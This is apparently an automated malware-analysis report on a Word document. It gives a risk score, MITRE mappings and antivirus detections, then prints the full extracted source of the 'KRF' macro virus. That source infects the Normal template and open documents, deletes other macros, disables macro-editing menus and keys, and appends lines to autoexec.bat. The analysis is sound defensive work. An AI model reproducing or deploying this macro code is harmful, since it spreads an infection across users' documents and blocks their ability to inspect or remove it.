MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a Microsoft Word document containing VBA macros. The 'AutoOpen' macro, a known execution trigger, is present and initiates the 'RIA' subroutine. This subroutine appears to copy the 'KRF' macro module to the Normal template and any currently open documents, and then saves them. This behavior suggests an attempt to achieve persistence or spread the malicious macro to other documents.
Heuristics 4
-
ClamAV: Doc.Trojan.Opey-19 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Opey-19
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13933 bytes |
SHA-256: 09f1cfb37e066338e624a9f040ad83b0be75958a66fe80ce90c79a2b49cfed62 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "KRF"
Public IND1 As String
Sub RIA()
On Error Resume Next
Call KRF
NTInfected = False
For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
clan = NormalTemplate.VBProject.VBComponents(i).Name
If clan = "KRF" Then NTInfected = True
If (clan <> "KRF") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next i
For Each opendoc In Documents
ODInfected = False
With opendoc
For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
clan = opendoc.VBProject.VBComponents(j).Name
If clan = "KRF" Then ODInfected = True
If (clan <> "KRF") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next j
If ODInfected = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="KRF", Object:=wdOrganizerObjectProjectItems
opendoc.SaveAs FileName:=opendoc.FullName
End If
End With
Next opendoc
If NTInfected = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="KRF", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End If
Call Introduce
End Sub
Sub FileSave()
On Error Resume Next
Call RIA
ActiveDocument.Save
End Sub
Sub FileClose()
On Error Resume Next
Call RIA
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
Call RIA
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub FileNew()
On Error Resume Next
Dialogs(wdDialogFileNew).Show
newfile$ = 1
Call RIA
End Sub
Sub AutoOpen()
On Error Resume Next
Call RIA
End Sub
Sub AutoExec()
On Error Resume Next
Call RIA
End Sub
Sub FileSaveAs()
On Error Resume Next
Call RIA
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
On Error Resume Next
Call RIA
Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
On Error Resume Next
Call RIA
Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
On Error Resume Next
Dialogs(wdDialogFileOpen).Show
Call RIA
End Sub
Sub xxx()
open
End Sub
Sub KRF()
On Error Resume Next
Application.UserName = "Young Kim"
Application.UserAddress = "PLM"
Application.UserInitials = "KRF"
With Dialogs(wdDialogFileSummaryInfo)
.Author = "Young Kim"
.Title = "RIA"
.Execute
End With
With Options
.ConfirmConversions = False
.SaveNormalPrompt = False
End With
With ActiveDocument
.ReadOnlyRecommended = False
End With
On Error Resume Next
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Customize...").Delete
CommandBars("Tools").Controls("Options...").Delete
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub
Sub Introduce()
On Error Resume Next
autoexecfile$ = "c:\autoexec.bat"
hFile = FreeFile
line1$ = ""
If (Year(Date) > 2000) Then
If (Day(Date) = 22) Then
line1$ = "echo Happy KRF Day 12-22 !!!"
End If
If (line1$ <> "") And (IND1 <> "T") Then
Open autoexecfile$ For Append Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, line1$
Print #hFile, "echo from: Young Kim (PLM) 1999-2000"
Print #hFile, "pause"
IND1 = "T"
Close hFile
End If
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/da9b078cd3514d089fe4249376eba250.bin
' ===================================================
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.